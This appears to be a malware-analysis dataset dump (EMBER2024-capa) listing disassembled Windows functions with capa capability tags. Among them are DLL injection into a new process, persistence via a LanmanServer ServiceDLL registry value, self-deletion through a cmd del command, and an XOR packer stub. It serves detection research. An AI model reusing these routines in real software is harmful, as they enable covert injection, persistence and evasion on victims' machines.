joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010ad
Capabilities:
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x194], eax
movzx eax, word [ebp + 0x1a0]
push esi
push edi
push 0x4081b4
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
cmp edi, esi
je 0x4011e9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
je 0x4011e9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x7c], eax
cmp eax, esi
je 0x4011e9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x78], eax
cmp eax, esi
je 0x4011e9
push ebx
lea eax, [ebp - 0x74]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x40bea0
push edi
push esi
push str.bhsad
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push esi
push 0x80
push 2
push esi
push esi
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push dword [ebp - 0x78]
mov dword [ebp - 0x80], eax
push esi
push 4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebx, eax
cmp ebx, esi
je 0x4011e8
push esi
push esi
push esi
push 2
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push dword [ebp - 0x78]
mov esi, eax
push dword [ebp - 0x7c]
push esi
call fcn.00401240
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push dword [ebp - 0x80]
call esi
push str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v4
call fcn.00401000
pop ecx
test al, al
je 0x4011cb
push 0x4081cc
push 0x40822c
push 0x408248
push edi
push str.v4.0.30319
jmp 0x4011e0
push 0x408288
push 0x40828c
push str.newInstall.Program
push edi
push 0x4082d0
call fcn.00401024
add esp, 0x14
pop ebx
mov ecx, dword [ebp + 0x194]
pop edi
xor ecx, ebp
pop esi
call fcn.0040122a
add ebp, 0x198
leave
ret

Function at 0x40122a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401234
repz ret
jmp fcn.00401753
Function at 0x403e2b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004028b7
and dword [ebp - 0x14], 0
cmp dword [0x40cddc], 0
mov dword [ebp - 0x18], eax
jne 0x403ede
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x403f86
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x403f86
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40cddc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40cde0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40cde4], eax
call edi
push eax
call esi
mov dword [0x40cdec], eax
test eax, eax
je 0x403ede
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40cde8], eax
mov eax, dword [0x40cde8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403f37
cmp dword [0x40cdec], ecx
je 0x403f37
push eax
call esi
push dword [0x40cdec]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403f37
test ebx, ebx
je 0x403f37
call edi
test eax, eax
je 0x403f2e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x403f2e
test byte [ebp - 8], 1
jne 0x403f37
or dword [ebp + 0x10], 0x200000
jmp 0x403f6a
mov eax, dword [0x40cde0]
cmp eax, dword [ebp - 0x18]
je 0x403f6a
push eax
call esi
test eax, eax
je 0x403f6a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x403f6a
mov eax, dword [0x40cde4]
cmp eax, dword [ebp - 0x18]
je 0x403f6a
push eax
call esi
test eax, eax
je 0x403f6a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40cddc]
call esi
test eax, eax
je 0x403f86
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x403f88
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040122a
leave
ret
Function at 0x402106
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
push 0x404075
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
sub esp, 0xe
mov byte [esp], 0x6d
mov byte [esp + 1], 0x63
mov byte [esp + 2], 0x69
mov byte [esp + 3], 0x53
mov byte [esp + 4], 0x65
mov byte [esp + 5], 0x6e
mov byte [esp + 6], 0x64
mov byte [esp + 7], 0x53
mov byte [esp + 8], 0x74
mov byte [esp + 9], 0x72
mov byte [esp + 0xa], 0x69
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xc], 0x67
mov byte [esp + 0xd], 0x41
mov byte [esp + 0xe], 0
lea eax, [esp]
push eax
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x4060ec], eax
leave
ret

Function at 0x403576
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
push 0x40
push ebx
push eax
call dword [sym.imp.kernel32.dll_VirtualProtect]
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x23752341
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data_1
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x506c4abd
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
test ebx, ebx
je 0x4010b2
mov al, byte [esp + 0x14]
test al, al
jne 0x401025
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
jmp 0x401075
cmp al, 1
jne 0x401037
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x401075
cmp al, 2
jne 0x401075
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.Program_FilesInternet_Explorer
or ecx, 0xffffffff
xor eax, eax
mov byte [ebx + 3], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + ebx - 1], 0x5c
je 0x4010b2
mov edi, 0x4042cc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
ret

Function at 0x401150
Capabilities:
Create process on windows
Create thread
Inject dll
Inject thread

Disassembly:
sub esp, 0x158
push ebx
push esi
lea eax, [esp + 0x5c]
push edi
push eax
call fcn.004010c0
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push 0
push 0
push 1
push 0
lea ecx, [esp + 0x7c]
push 0
push ecx
push 0
mov word [esp + 0x74], 0
mov dword [esp + 0x70], 0x101
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4011b1
pop edi
pop esi
pop ebx
add esp, 0x158
ret
mov edi, dword [esp + 0x168]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 4
push 0x1000
push edi
call ebx
mov edx, dword [esp + 0x14]
inc eax
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x4011e7
pop edi
pop esi
pop ebx
add esp, 0x158
ret
push 0
push edi
call ebx
inc eax
push eax
mov eax, dword [esp + 0x14]
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401209
pop edi
pop esi
pop ebx
add esp, 0x158
ret
push str.LoadLibraryA
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40122e
pop edi
pop esi
pop ebx
add esp, 0x158
ret
mov ecx, dword [esp + 0xc]
push 0
push 0
push esi
push eax
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 0x158
ret
Function at 0x401260
Capabilities:
Delete registry value
Persist via windows service
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x402816
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x90
push esi
push edi
push str._SystemRoot_System32_
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0xc]
push str.StormServer.dll
lea ecx, [esp + 0x18]
push eax
push ecx
mov dword [esp + 0xac], 0
call sub.MFC42.DLL_operator
push 0x4044f0
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0xac], 1
call sub.MFC42.DLL_operator
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
call fcn.00402600
lea ecx, [esp + 0x14]
mov byte [esp + 0xa0], 0
call fcn.00402600
lea ecx, [esp + 8]
push ecx
push str.SYSTEMCurrentControlSetServicesLanmanServerParameters
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp + 8]
push str.ServiceDLL
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [esp + 8]
lea eax, [esp + 0x18]
push 0x80
push eax
push 2
push 0
push str.ServiceDLL
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0xc]
mov dword [esp + 0xa0], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 0x98]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x9c
ret
Function at 0x401390
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4014fd
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4014fd
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4014fd
lea ecx, [esp + 0x168]
push str.__c__del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4014ef
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret

Function at 0x401900
Capabilities:
Create process on windows
Create process suspended
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x368
push ebx
push ebp
push esi
push edi
call fcn.00401840
mov ebx, eax
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x274]
rep stosd dword es:[edi], eax
mov al, byte [0x404124]
lea ecx, [esp + 0x6c]
push eax
push ecx
mov dword [esp + 0x18], ebx
jmp loc.0040fbaa
Function at 0x4023c0
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x402868
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov eax, dword [esp + 0x18]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x402439
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 4]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00402600
mov al, 1
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 8]
xor al, al
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x402460
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x402890
push eax
mov dword fs:[0], esp
push ebx
push ebp
push esi
push edi
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
and ecx, 0xffff
push eax
push ecx
push 0
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x402509
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x402509
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
je 0x402509
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, ebx
mov esi, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
push ecx
lea eax, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
call sub.MFC42.DLL_CString::CString
call fcn.004023c0
add esp, 0xc
test al, al
push ebp
jne 0x40253d
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.00402600
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.00402600
xor al, al
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.00402600
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov al, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret
Function at 0x10002c20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10002c53
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
push dword [ebp + 8]
push 0x10002a50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10002c53
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc

Function at 0x100064f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1012803c
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x101c8c40]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [edi], eax
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
lea esi, [edi + 0x38]
mov dword [edi + 0x30], 0
mov byte [edi + 0x34], 0
mov dword [ebp - 0x14], esi
mov dword [esi + 0x24], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp + 0x34]
test ecx, ecx
je 0x100065a4
mov eax, dword [ecx]
push esi
call dword [eax]
mov dword [esi + 0x24], eax
mov al, byte [ebp + 0xc]
lea ecx, [edi + 0x68]
mov byte [ebp - 4], 5
push 9
mov byte [edi + 0x60], al
call fcn.10006e50
lea eax, [ebp - 0xd]
mov byte [ebp - 4], 6
push eax
lea ecx, [edi + 0x10]
mov byte [ebp - 0xd], 1
call fcn.10007120
mov ecx, dword [ebp + 0x34]
test ecx, ecx
je 0x100065e4
mov esi, dword [ecx]
lea eax, [ebp + 0x10]
cmp ecx, eax
setne dl
movzx edx, dl
push edx
call dword [esi + 0x10]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x30
Function at 0x1002b520
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10128ef0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x101c8c40]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 8]
lea ecx, [edi + 0x10]
mov dword [edi + 4], esi
mov dword [edi], vtable.CMsgProtoBufHeader.0
mov dword [edi + 8], 0
push esi
mov dword [edi + 0xc], 0
call fcn.10054c70
push esi
lea ecx, [edi + 0x1c]
mov dword [ebp - 4], 0
call fcn.10054c70
mov dword [edi + 0x28], 0x101cc648
lea eax, [edi + 0x3c]
mov dword [edi + 0x2c], 0x101cc648
push 0x54
mov dword [edi + 0x30], 0x101cc648
push 0
mov dword [edi + 0x34], 0x101cc648
push eax
mov dword [edi + 0x38], 0x101cc648
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [edi + 0x90], 0xffffffff
mov dword [edi + 0x98], 0xffffffff
mov eax, edi
mov dword [edi + 0x9c], 0xffffffff
mov dword [edi + 0xa0], 0xffffffff
mov dword [edi + 0xa4], 0xffffffff
mov dword [edi + 0xa8], 2
mov dword [edi + 0xac], 1
mov dword [edi + 0xb0], 0xffffffff
mov dword [edi + 0xb4], 0xffffffff
mov dword [edi + 0xbc], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10031390
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10128ef0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x101c8c40]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 8]
lea ecx, [edi + 0x10]
mov dword [edi + 4], esi
mov dword [edi], vtable.CCuratorPreferences.0
mov dword [edi + 8], 0
push esi
mov dword [edi + 0xc], 0
call fcn.10054c70
push esi
lea ecx, [edi + 0x1c]
mov dword [ebp - 4], 0
call fcn.10054c70
mov dword [edi + 0x28], 0x101cc648
xorps xmm0, xmm0
mov dword [edi + 0x2c], 0x101cc648
mov eax, edi
mov dword [edi + 0x30], 0x101cc648
movq qword [edi + 0x34], xmm0
mov dword [edi + 0x3c], 0
mov word [edi + 0x40], 0
mov byte [edi + 0x42], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10036ea0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10128e00
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101c8c40]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0x101cc648
lea ecx, [esi + 0x10]
mov dword [esi], vtable.CBilling_Address.0
call fcn.10011fe0
push 0x101cc648
lea ecx, [esi + 0x14]
call fcn.10011fe0
push 0x101cc648
lea ecx, [esi + 0x18]
call fcn.10011fe0
push 0x101cc648
lea ecx, [esi + 0x1c]
call fcn.10011fe0
push 0x101cc648
lea ecx, [esi + 0x20]
call fcn.10011fe0
push 0x101cc648
lea ecx, [esi + 0x24]
call fcn.10011fe0
push 0x101cc648
lea ecx, [esi + 0x28]
call fcn.10011fe0
push 0x101cc648
lea ecx, [esi + 0x2c]
call fcn.10011fe0
push 0x101cc648
lea ecx, [esi + 0x30]
call fcn.10011fe0
test byte [esi + 4], 1
je 0x10036f6d
mov ecx, dword [esi + 4]
test cl, 3
jne 0x10036f54
and ecx, 0xfffffffc
jmp 0x10036f61
mov eax, ecx
shr eax, 1
test al, 1
jne 0x10036f65
and ecx, 0xfffffffc
mov ecx, dword [ecx]
test ecx, ecx
jne 0x10036f6d
lea ecx, [esi + 4]
call fcn.100291b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1003cc90
Capabilities:
Get number of processors
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10129050
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x101c8c40]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 0x14]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x18]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x1c]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x20]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x24]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x28]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x2c]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x30]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x34]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x38]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x3c]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x40]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x44]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x48]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x4c]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x50]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x54]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x58]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x5c]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x60]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x64]
push 0x101cc648
call fcn.10011fe0
lea ecx, [esi + 0x68]
push 0x101cc648
call fcn.10011fe0
cmp esi, 0x101c9aa8
je 0x1003ce6b
mov edi, dword [esi + 0x6c]
test edi, edi
je 0x1003cdfa
mov ecx, edi
call fcn.1002a3f0
push 0x14
push edi
call fcn.10122d0a
add esp, 8
mov edi, dword [esi + 0x70]
test edi, edi
je 0x1003ce13
mov ecx, edi
call fcn.1002a3f0
push 0x14
push edi
call fcn.10122d0a
add esp, 8
mov esi, dword [esi + 0x74]
test esi, esi
je 0x1003ce6b
mov dword [ebp - 4], 1
lea ecx, [esi + 0x10]
push 0x101cc648
mov dword [esi], vtable.CMsgClientSecret.0
call fcn.10011fe0
test byte [esi + 4], 1
je 0x1003ce60
mov ecx, dword [esi + 4]
test cl, 3
jne 0x1003ce47
and ecx, 0xfffffffc
jmp 0x1003ce54
mov eax, ecx
shr eax, 1
test al, 1
jne 0x1003ce58
and ecx, 0xfffffffc
mov ecx, dword [ecx]
test ecx, ecx
jne 0x1003ce60
lea ecx, [esi + 4]
call fcn.100291b0
push 0x30
push esi
call fcn.10122d0a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret